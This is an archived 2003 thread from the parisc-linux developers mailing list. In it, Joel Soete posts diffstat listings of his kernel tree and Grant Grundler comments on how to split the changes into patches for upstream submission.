Message-ID: <3E8AE87E0000567E@ocpmta2.freegates.net>
References: <20030410155223.GA5254@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622378 24577 80.91.229.3 (22 Nov 2014 02:12:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 10 23:40:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E3A14829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Apr 2003 23:40:36 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 193rH8-00046f-00; Fri, 11 Apr 2003 07:40:34 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 11 Apr 2003 07:40:32 +0200
In-Reply-To: <20030410155223.GA5254@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18230

>
>Please post the diffstat results to the mailing list.
>
>You can ignore complete driver "updates" I've committed.
>Some newer drivers work better for parisc, some don't. qlogic driver
>doesn't crash but it doesn't work right either. tg3 v1.5 is an example
>where it works better than the existing version.
>
>In general, breaking up the 3.5MB diff into smaller chunks makes it
>easier for Marcelo to handle.
>
Here is the rough diffstat (still have to reverse ql driver patches, I will
try to find time this week-end :) )

 Documentation/Configure.help                      |   90 
 Makefile                                          |   16 
 arch/m68k/config.in                               |    5 
 arch/m68k/kernel/m68k_ksyms.c                     |    5 
 arch/m68k/kernel/setup.c                          |    3 
 arch/m68k/q40/config.c                            |   41 
 arch/parisc/config.in                             |    6 
 arch/parisc/debian-configs/32                     |  989 ++++
 arch/parisc/debian-configs/32-smp                 |  988 ++++
 arch/parisc/debian-configs/32-udeb                |  915 ++++
 arch/parisc/debian-configs/64                     |  977 ++++
 arch/parisc/debian-configs/64-smp                 |  976 ++++
 arch/parisc/debian-configs/64-udeb                |  865 +++
 arch/parisc/defpalo.conf                          |   21 
 arch/parisc/kernel/cache.c                        |   80 
 arch/parisc/kernel/ccio-dma.c                     |   17 
 arch/parisc/kernel/ccio-rm-dma.c                  |    2 
 arch/parisc/kernel/drivers.c                      |   51 
 arch/parisc/kernel/entry.S                        |    4 
 arch/parisc/kernel/hardware.c                     |   10 
 arch/parisc/kernel/head.S                         |    2 
 arch/parisc/kernel/ioctl32.c                      |    5 
 arch/parisc/kernel/irq.c                          |    4 
 arch/parisc/kernel/lasimap.map                    |  322 -
 arch/parisc/kernel/parisc_ksyms.c                 |   11 
 arch/parisc/kernel/pci-dma.c                      |    8 
 arch/parisc/kernel/perf.c                         |   10 
 arch/parisc/kernel/processor.c                    |    2 
 arch/parisc/kernel/sba_iommu.c                    |    2 
 arch/parisc/kernel/smp.c                          |   13 
 arch/parisc/kernel/traps.c                        |    8 
 arch/parisc/kernel/unaligned.c                    |  394 +
 arch/parisc/math-emu/dfadd.c                      |    2 
 arch/parisc/math-emu/dfcmp.c                      |    2 
 arch/parisc/math-emu/dfdiv.c                      |    2 
 arch/parisc/math-emu/dfmpy.c                      |    2 
 arch/parisc/math-emu/dfrem.c                      |    2 
 arch/parisc/math-emu/dfsqrt.c                     |    2 
 arch/parisc/math-emu/dfsub.c                      |    2 
 arch/parisc/math-emu/driver.c                     |   17 
 arch/parisc/math-emu/fcnvff.c                     |    2 
 arch/parisc/math-emu/fcnvfu.c                     |    2 
 arch/parisc/math-emu/fcnvfut.c                    |    2 
 arch/parisc/math-emu/fcnvfx.c                     |    2 
 arch/parisc/math-emu/fcnvfxt.c                    |    2 
 arch/parisc/math-emu/fcnvuf.c                     |    2 
 arch/parisc/math-emu/fcnvxf.c                     |    2 
 arch/parisc/math-emu/float.h                      |    2 
 arch/parisc/math-emu/fmpyfadd.c                   |    2 
 arch/parisc/math-emu/fpu.h                        |    2 
 arch/parisc/math-emu/fpudispatch.c                |   19 
 arch/parisc/math-emu/sfadd.c                      |    2 
 arch/parisc/math-emu/sfcmp.c                      |    2 
 arch/parisc/math-emu/sfdiv.c                      |    2 
 arch/parisc/math-emu/sfmpy.c                      |    2 
 arch/parisc/math-emu/sfrem.c                      |    2 
 arch/parisc/math-emu/sfsqrt.c                     |    2 
 arch/parisc/math-emu/sfsub.c                      |    2 
 drivers/char/Config.in                            |    3 
 drivers/char/Makefile                             |    2 
 drivers/char/pty.c                                |    4 
 drivers/char/serial.c                             |  115 
 drivers/gsc/dino.c                                |    9 
 drivers/ide/pci/ns87415.c                         |    8 
 drivers/ide/setup-pci.c                           |    2 
 drivers/net/acenic.c                              |    5 
 drivers/net/lasi_82596.c                          |    2 
 drivers/net/pcnet32.c                             |   26 
 drivers/net/tulip/eeprom.c                        |    3 
 drivers/net/tulip/media.c                         |   29 
 drivers/net/wireless/airo.c                       |    7 
 drivers/pci/quirks.c                              |    3 
 drivers/pci/setup-bus.c                           |   37 
 drivers/scsi/Config.in                            |   57 
 drivers/scsi/Makefile                             |   15 
 drivers/scsi/cpqfcTScontrol.c                     |   45 
 drivers/scsi/cpqfcTSi2c.c                         |    3 
 drivers/scsi/cpqfcTSinit.c                        |   12 
 drivers/scsi/cpqfcTSstructs.h                     |    4 
 drivers/scsi/cpqfcTSworker.c                      |    2 
 drivers/scsi/ncr53c8xx.c                          |  341 +
 drivers/scsi/qla2xxx/Config.in                    |    6 
 drivers/scsi/qla2xxx/Makefile                     |   13 
 drivers/scsi/qla2xxx/README.qla2x00               |  744 +++
 drivers/scsi/qla2xxx/SUPPORTED_KERNEL_VERSION.txt |   16 
 drivers/scsi/qla2xxx/exioct.h                     |  966 ++++
 drivers/scsi/qla2xxx/exioctln.h                   |  203 
 drivers/scsi/qla2xxx/inioct.h                     |  129 
 drivers/scsi/qla2xxx/listops.h                    |  397 +
 drivers/scsi/qla2xxx/ql2100_fw.h                  | 4866 +++++++++++++++++++++
 drivers/scsi/qla2xxx/ql2200_fw.h                  | 5314 +++++++++++++++++++++++
 drivers/scsi/qla2xxx/ql2200ip_fw.h                | 5868 +++++++++++++++++++++++++
 drivers/scsi/qla2xxx/ql2300_fw.h                  | 6215 +++++++++++++++++++++++++++
 drivers/scsi/qla2xxx/ql2300ip_fw.h                | 6885 ++++++++++++++++++++++++++++++
 drivers/scsi/qla2xxx/qla2100.c                    |   43 
 drivers/scsi/qla2xxx/qla2200.c                    |   43 
 drivers/scsi/qla2xxx/qla2300.c                    |   43 
 drivers/scsi/qla2xxx/qla2x00.c                    |16854 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 drivers/scsi/qla2xxx/qla2x00.h                    | 2795 ++++++++++++
 drivers/scsi/qla2xxx/qla2x00_ioctl.c              | 4551 +++++++++++++++++++
 drivers/scsi/qla2xxx/qla_cfg.c                    | 2608 +++++++++++
 drivers/scsi/qla2xxx/qla_cfg.h                    |  181 
 drivers/scsi/qla2xxx/qla_cfgln.c                  |  684 +++
 drivers/scsi/qla2xxx/qla_debug.h                  |  137 
 drivers/scsi/qla2xxx/qla_fo.c                     | 1358 +++++
 drivers/scsi/qla2xxx/qla_fo.cfg                   |   31 
 drivers/scsi/qla2xxx/qla_fo.h                     |   75 
 drivers/scsi/qla2xxx/qla_gbl.h                    |   99 
 drivers/scsi/qla2xxx/qla_inioct.c                 |  479 ++
 drivers/scsi/qla2xxx/qla_ip.c                     | 1781 +++++++
 drivers/scsi/qla2xxx/qla_ip.h                     |  464 ++
 drivers/scsi/qla2xxx/qla_mbx.c                    | 2600 +++++++++++
 drivers/scsi/qla2xxx/qla_mbx.h                    |   24 
 drivers/scsi/qla2xxx/qla_settings.h               |  137 
 drivers/scsi/qla2xxx/qla_vendor.c                 |  190 
 drivers/scsi/qla2xxx/qla_version.h                |   27 
 drivers/scsi/qla2xxx/qlfo.h                       |  413 +
 drivers/scsi/qla2xxx/qlfolimits.h                 |   92 
 drivers/scsi/qla2xxx/qlfoln.h                     |   76 
 drivers/scsi/qla2xxx/release.txt                  |   28 
 drivers/scsi/qla2xxx/revision.notes               |  822 +++
 drivers/scsi/sym53c8xx.c                          |   44 
 drivers/scsi/sym53c8xx_2/sym_glue.c               |   14 
 drivers/scsi/sym53c8xx_2/sym_hipd.c               |   35 
 drivers/scsi/sym53c8xx_defs.h                     |   83 
 drivers/sound/ad1889.c                            |    2 
 drivers/video/Config.in                           |   14 
 drivers/video/dummycon.c                          |   10 
 drivers/video/sstfb.c                             |  114 
 fs/Makefile                                       |    1 
 fs/binfmt_elf.c                                   |  288 -
 fs/exec.c                                         |   97 
 fs/open.c                                         |   22 
 fs/read_write.c                                   |   40 
 include/asm-generic/xor.h                         |  378 +
 include/asm-m68k/machdep.h                        |    4 
 include/asm-m68k/rtc.h                            |   50 
 include/asm-parisc/checksum.h                     |   26 
 include/asm-parisc/delay.h                        |    1 
 include/asm-parisc/hdreg.h                        |    4 
 include/asm-parisc/ide.h                          |   25 
 include/asm-parisc/ide.h-t0                       |  110 
 include/asm-parisc/ide.h-tst                      |   91 
 include/asm-parisc/ide.h.save                     |  196 
 include/asm-parisc/io.h                           |   16 
 include/asm-parisc/linux_logo.h                   | 1433 ++++++
 include/asm-parisc/pgalloc.h                      |    3 
 include/asm-parisc/spinlock_t.h                   |   38 
 include/asm-parisc/system.h                       |    4 
 include/asm-parisc/system.h.save                  |  145 
 include/asm-parisc/system_irqsave.h               |   15 
 include/asm-parisc/system_irqsave.h.Orig          |   17 
 include/asm-parisc/system_irqsave.h.save          |   17 
 include/linux/binfmts.h                           |    2 
 include/linux/fs_struct.h                         |    3 
 include/linux/init.h                              |   17 
 include/linux/ioport.h                            |    1 
 include/linux/major.h                             |    1 
 include/linux/mm.h                                |   31 
 include/linux/pci.h                               |    2 
 include/linux/rtc.h                               |   28 
 include/linux/sched.h                             |    2 
 include/linux/smp.h                               |    5 
 include/linux/sysctl.h                            |    2 
 include/linux/tcp_diag.h                          |    3 
 include/linux/tty.h                               |    2 
 init/main.c                                       |    9 
 kernel/exit.c                                     |    9 
 kernel/module.c                                   |    1 
 kernel/printk.c                                   |   11 
 kernel/signal.c                                   |   10 
 kernel/sys.c                                      |   11 
 kernel/sysctl.c                                   |   11 
 kernel/timer.c                                    |    2 
 mm/mmap.c                                         |   99 
 mm/vmscan.c                                       |    1 
 net/ipv4/ip_fragment.c                            |    2 
 net/ipv4/ip_input.c                               |    1 
 net/ipv4/proc.c                                   |    1 
 net/ipv4/udp.c                                    |    5 
 net/sunrpc/clnt.c                                 |    2 
 181 files changed, 78405 insertions(+), 1123 deletions(-)

(hmm don't remember if linux_logo is of mine dpkg install or a new one in
our tree :)

Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Fri, 11 Apr 2003 11:41:50 +0200
Lines: 216
Approved: news@gmane.org
Message-ID: <3E8AE87E00005968@ocpmta2.freegates.net>
References: <3E8AE87E0000567E@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622378 24578 80.91.229.3 (22 Nov 2014 02:12:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 11 03:41:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77CD44829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Apr 2003 03:41:59 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 193v2e-0001sY-00; Fri, 11 Apr 2003 11:41:52 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 11 Apr 2003 11:41:50 +0200
In-Reply-To: <3E8AE87E0000567E@ocpmta2.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18231

>
>>
>>Please post the diffstat results to the mailing list.
>>
>>You can ignore complete driver "updates" I've committed.
>>Some newer drivers work better for parisc, some don't. qlogic driver
>>doesn't crash but it doesn't work right either. tg3 v1.5 is an example
>>where it works better than the existing version.
>>
>>In general, breaking up the 3.5MB diff into smaller chunks makes it
>>easier for Marcelo to handle.
>>
>Here is the rough diffstat (still have to reverse ql driver patches, I will
>try to find time this week-end :) )
>
Forget, it is a bit quiet calm and revert following patches:
patching file drivers/scsi/Config.in
patching file drivers/scsi/Makefile
Hunk #2 succeeded at 75 with fuzz 1 (offset 3 lines).
patching file drivers/scsi/qla2xxx/Config.in
patching file drivers/scsi/qla2xxx/Makefile
patching file drivers/scsi/qla2xxx/README.qla2x00
patching file drivers/scsi/qla2xxx/SUPPORTED_KERNEL_VERSION.txt
patching file drivers/scsi/qla2xxx/exioct.h
patching file drivers/scsi/qla2xxx/exioctln.h
patching file drivers/scsi/qla2xxx/inioct.h
patching file drivers/scsi/qla2xxx/listops.h
patching file drivers/scsi/qla2xxx/ql2100_fw.h
patching file drivers/scsi/qla2xxx/ql2200_fw.h
patching file drivers/scsi/qla2xxx/ql2200ip_fw.h
patching file drivers/scsi/qla2xxx/ql2300_fw.h
patching file drivers/scsi/qla2xxx/ql2300ip_fw.h
patching file drivers/scsi/qla2xxx/qla2100.c
patching file drivers/scsi/qla2xxx/qla2200.c
patching file drivers/scsi/qla2xxx/qla2300.c
patching file drivers/scsi/qla2xxx/qla2x00.c
patching file drivers/scsi/qla2xxx/qla2x00.h
patching file drivers/scsi/qla2xxx/qla2x00_ioctl.c
patching file drivers/scsi/qla2xxx/qla_cfg.c
patching file drivers/scsi/qla2xxx/qla_cfg.h
patching file drivers/scsi/qla2xxx/qla_cfgln.c
patching file drivers/scsi/qla2xxx/qla_debug.h
patching file drivers/scsi/qla2xxx/qla_fo.c
patching file drivers/scsi/qla2xxx/qla_fo.cfg
patching file drivers/scsi/qla2xxx/qla_fo.h
patching file drivers/scsi/qla2xxx/qla_gbl.h
patching file drivers/scsi/qla2xxx/qla_inioct.c
patching file drivers/scsi/qla2xxx/qla_ip.c
patching file drivers/scsi/qla2xxx/qla_ip.h
patching file drivers/scsi/qla2xxx/qla_mbx.c
patching file drivers/scsi/qla2xxx/qla_mbx.h
patching file drivers/scsi/qla2xxx/qla_settings.h
patching file drivers/scsi/qla2xxx/qla_vendor.c
patching file drivers/scsi/qla2xxx/qla_version.h
patching file drivers/scsi/qla2xxx/qlfo.h
patching file drivers/scsi/qla2xxx/qlfolimits.h
patching file drivers/scsi/qla2xxx/qlfoln.h
patching file drivers/scsi/qla2xxx/release.txt
patching file drivers/scsi/qla2xxx/revision.notes

And so obtain the following diffstat:
 Documentation/Configure.help             |   90 +
 Makefile                                 |   16 
 arch/m68k/config.in                      |    5 
 arch/m68k/kernel/m68k_ksyms.c            |    5 
 arch/m68k/kernel/setup.c                 |    3 
 arch/m68k/q40/config.c                   |   41 
 arch/parisc/config.in                    |    6 
 arch/parisc/debian-configs/32            |  989 +++++++++++++++++++++
 arch/parisc/debian-configs/32-smp        |  988 +++++++++++++++++++++
 arch/parisc/debian-configs/32-udeb       |  915 +++++++++++++++++++
 arch/parisc/debian-configs/64            |  977 +++++++++++++++++++++
 arch/parisc/debian-configs/64-smp        |  976 +++++++++++++++++++++
 arch/parisc/debian-configs/64-udeb       |  865 ++++++++++++++++++
 arch/parisc/defpalo.conf                 |   21 
 arch/parisc/kernel/cache.c               |   80 +
 arch/parisc/kernel/ccio-dma.c            |   17 
 arch/parisc/kernel/ccio-rm-dma.c         |    2 
 arch/parisc/kernel/drivers.c             |   51 -
 arch/parisc/kernel/entry.S               |    4 
 arch/parisc/kernel/hardware.c            |   10 
 arch/parisc/kernel/head.S                |    2 
 arch/parisc/kernel/ioctl32.c             |    5 
 arch/parisc/kernel/irq.c                 |    4 
 arch/parisc/kernel/lasimap.map           |  322 ------
 arch/parisc/kernel/parisc_ksyms.c        |   11 
 arch/parisc/kernel/pci-dma.c             |    8 
 arch/parisc/kernel/perf.c                |   10 
 arch/parisc/kernel/processor.c           |    2 
 arch/parisc/kernel/sba_iommu.c           |    2 
 arch/parisc/kernel/smp.c                 |   13 
 arch/parisc/kernel/traps.c               |    8 
 arch/parisc/kernel/unaligned.c           |  394 +++++---
 arch/parisc/math-emu/dfadd.c             |    2 
 arch/parisc/math-emu/dfcmp.c             |    2 
 arch/parisc/math-emu/dfdiv.c             |    2 
 arch/parisc/math-emu/dfmpy.c             |    2 
 arch/parisc/math-emu/dfrem.c             |    2 
 arch/parisc/math-emu/dfsqrt.c            |    2 
 arch/parisc/math-emu/dfsub.c             |    2 
 arch/parisc/math-emu/driver.c            |   17 
 arch/parisc/math-emu/fcnvff.c            |    2 
 arch/parisc/math-emu/fcnvfu.c            |    2 
 arch/parisc/math-emu/fcnvfut.c           |    2 
 arch/parisc/math-emu/fcnvfx.c            |    2 
 arch/parisc/math-emu/fcnvfxt.c           |    2 
 arch/parisc/math-emu/fcnvuf.c            |    2 
 arch/parisc/math-emu/fcnvxf.c            |    2 
 arch/parisc/math-emu/float.h             |    2 
 arch/parisc/math-emu/fmpyfadd.c          |    2 
 arch/parisc/math-emu/fpu.h               |    2 
 arch/parisc/math-emu/fpudispatch.c       |   19 
 arch/parisc/math-emu/sfadd.c             |    2 
 arch/parisc/math-emu/sfcmp.c             |    2 
 arch/parisc/math-emu/sfdiv.c             |    2 
 arch/parisc/math-emu/sfmpy.c             |    2 
 arch/parisc/math-emu/sfrem.c             |    2 
 arch/parisc/math-emu/sfsqrt.c            |    2 
 arch/parisc/math-emu/sfsub.c             |    2 
 drivers/char/Config.in                   |    3 
 drivers/char/Makefile                    |    2 
 drivers/char/pty.c                       |    4 
 drivers/char/serial.c                    |  115 ++
 drivers/gsc/dino.c                       |    9 
 drivers/ide/pci/ns87415.c                |    8 
 drivers/ide/setup-pci.c                  |    2 
 drivers/net/acenic.c                     |    5 
 drivers/net/lasi_82596.c                 |    2 
 drivers/net/pcnet32.c                    |   26 
 drivers/net/tulip/eeprom.c               |    3 
 drivers/net/tulip/media.c                |   29 
 drivers/net/wireless/airo.c              |    7 
 drivers/pci/quirks.c                     |    3 
 drivers/pci/setup-bus.c                  |   37 
 drivers/scsi/Config.in                   |   53 -
 drivers/scsi/Makefile                    |    1 
 drivers/scsi/cpqfcTScontrol.c            |   45 
 drivers/scsi/cpqfcTSi2c.c                |    3 
 drivers/scsi/cpqfcTSinit.c               |   12 
 drivers/scsi/cpqfcTSstructs.h            |    4 
 drivers/scsi/cpqfcTSworker.c             |    2 
 drivers/scsi/ncr53c8xx.c                 |  341 ++++++-
 drivers/scsi/sym53c8xx.c                 |   44 
 drivers/scsi/sym53c8xx_2/sym_glue.c      |   14 
 drivers/scsi/sym53c8xx_2/sym_hipd.c      |   35 
 drivers/scsi/sym53c8xx_defs.h            |   83 +
 drivers/sound/ad1889.c                   |    2 
 drivers/video/Config.in                  |   14 
 drivers/video/dummycon.c                 |   10 
 drivers/video/sstfb.c                    |  114 +-
 fs/Makefile                              |    1 
 fs/binfmt_elf.c                          |  288 +++---
 fs/exec.c                                |   97 +-
 fs/open.c                                |   22 
 fs/read_write.c                          |   40 
 include/asm-generic/xor.h                |  378 ++++++++
 include/asm-m68k/machdep.h               |    4 
 include/asm-m68k/rtc.h                   |   50 -
 include/asm-parisc/checksum.h            |   26 
 include/asm-parisc/delay.h               |    1 
 include/asm-parisc/hdreg.h               |    4 
 include/asm-parisc/ide.h                 |   25 
 include/asm-parisc/ide.h-t0              |  110 ++
 include/asm-parisc/ide.h-tst             |   91 +
 include/asm-parisc/ide.h.save            |  196 ++++
 include/asm-parisc/io.h                  |   16 
 include/asm-parisc/linux_logo.h          | 1433 ++++++++++++++++++++++++++++++-
 include/asm-parisc/pgalloc.h             |    3 
 include/asm-parisc/spinlock_t.h          |   38 
 include/asm-parisc/system.h              |    4 
 include/asm-parisc/system.h.save         |  145 +++
 include/asm-parisc/system_irqsave.h      |   15 
 include/asm-parisc/system_irqsave.h.Orig |   17 
 include/asm-parisc/system_irqsave.h.save |   17 
 include/linux/binfmts.h                  |    2 
 include/linux/fs_struct.h                |    3 
 include/linux/init.h                     |   17 
 include/linux/ioport.h                   |    1 
 include/linux/major.h                    |    1 
 include/linux/mm.h                       |   31 
 include/linux/pci.h                      |    2 
 include/linux/rtc.h                      |   28 
 include/linux/sched.h                    |    2 
 include/linux/smp.h                      |    5 
 include/linux/sysctl.h                   |    2 
 include/linux/tcp_diag.h                 |    3 
 include/linux/tty.h                      |    2 
 init/main.c                              |    9 
 kernel/exit.c                            |    9 
 kernel/module.c                          |    1 
 kernel/printk.c                          |   11 
 kernel/signal.c                          |   10 
 kernel/sys.c                             |   11 
 kernel/sysctl.c                          |   11 
 kernel/timer.c                           |    2 
 mm/mmap.c                                |   99 +-
 mm/vmscan.c                              |    1 
 net/ipv4/ip_fragment.c                   |    2 
 net/ipv4/ip_input.c                      |    1 
 net/ipv4/proc.c                          |    1 
 net/ipv4/udp.c                           |    5 
 net/sunrpc/clnt.c                        |    2 
 141 files changed, 10130 insertions(+), 1123 deletions(-)

corresponding to a patch of about 450k ;)

J

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Fri, 11 Apr 2003 09:58:50 -0600
Lines: 145
Approved: news@gmane.org
Message-ID: <20030411155850.GA2795@dsl2.external.hp.com>
References: <20030410155223.GA5254@dsl2.external.hp.com> <3E8AE87E0000567E@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622378 24583 80.91.229.3 (22 Nov 2014 02:12:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 11 09:58:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id D8AFB4829; Fri, 11 Apr 2003 09:58:50 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3E8AE87E0000567E@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18232

On Fri, Apr 11, 2003 at 07:40:32AM +0200, Joel Soete wrote:
> Here is the rough diffstat (still have to reverse ql driver patches, I will
> try to find time this week-end :) )

cool - let me add some general comments.
You might break the diff up into chunks along the lines that
I've commented on them below. You should end up with something like
15-20 patches.

>  Documentation/Configure.help                      |   90 
	I expect parisc-specific changes here.

>  Makefile                                          |   16 
	Don't submit the Makefile unless you are sure we need it.

>  arch/m68k/config.in                               |    5 
...
	Don't submit m68k - Marcello should be ahead here.

>  arch/parisc/config.in                             |    6 
...
	parisc specific (our tree is authoritative)
	Need to review for changes in Marcelo's tree.
	I expect Marcello to take the mess as-is if there
	are no conflicts.

>  drivers/char/Config.in                            |    3 
>  drivers/char/Makefile                             |    2 
>  drivers/char/pty.c                                |    4 
>  drivers/char/serial.c                             |  115 
	Diva Support? If so, that's common to parisc/ia64.

>  drivers/gsc/dino.c                                |    9 
	parisc specific.

>  drivers/ide/pci/ns87415.c                         |    8 
>  drivers/ide/setup-pci.c                           |    2 
	Suckyio support. This probably needs to go to Andre Hedrick.

>  drivers/net/acenic.c                              |    5 
	Jes Sorensen has all my changes for this driver.
	Jes, can you compare Marcello's tree with ours?
	(and please make sure Marcello gets the latest?)

>  drivers/net/lasi_82596.c                          |    2 
	parisc specific

>  drivers/net/pcnet32.c                             |   26 
	Dunno.

>  drivers/net/tulip/eeprom.c                        |    3 
>  drivers/net/tulip/media.c                         |   29 
	Jeff Garzik has blessed changes I've made here.
	I expect this to be about the PHY reset and media table changes
	for card-mode Dino (rbrad's changes).

>  drivers/net/wireless/airo.c                       |    7 
	Fixes from Lamont. He's not the maintainer but the card should
	now work under parisc-linux. He's got one running in a B180.

>  drivers/pci/quirks.c                              |    3 
	upstream changes.

>  drivers/pci/setup-bus.c                           |   37 
	I expect this is the bridge_ctl field I added using
	Russell King's patch (arm/pci maintainer). This probably
	can NOT go in as-is. If the bulk of the other changes
	go in, I'll deal with this.

>  drivers/scsi/Config.in                            |   57 
>  drivers/scsi/Makefile                             |   15 
	Added qla2xxx

>  drivers/scsi/cpqfcTScontrol.c                     |   45 
>  drivers/scsi/cpqfcTSi2c.c                         |    3 
>  drivers/scsi/cpqfcTSinit.c                        |   12 
>  drivers/scsi/cpqfcTSstructs.h                     |    4 
>  drivers/scsi/cpqfcTSworker.c                      |    2 
	These are my cleanups so one can load/unload the module 
	without crashing the system. TL chips (5100/5166) should
	work but HP XL2 HBAs do not - need more work to read the serial
	PROM and pull the GBIC info/WWW id out.  I haven't tested
	this on ia64, only parisc.

	This is an orphan'd driver.  I talked to the current maintainers
	and they just don't have time to work on it. This is the same
	group that supports cciss driver (SmartArray cards).
	I've submitted these changes about 2 months ago. 

	See http://sourceforge.net/projects/cpqfc.

>  drivers/scsi/ncr53c8xx.c                          |  341 +
	rhirst changes for zalon support?

>  drivers/scsi/qla2xxx/Config.in                    |    6 
>  drivers/scsi/qla2xxx/Makefile                     |   13 
...
	"New" driver. This is the released qla2xxx v6.0.4 from Qlogic.
	Works on ia64 (weekend of hazard testing) but not quite on parisc.
	At least it doesn't crash parisc. I have a card installed in
	an a500 if someone has time to poke at this some more.

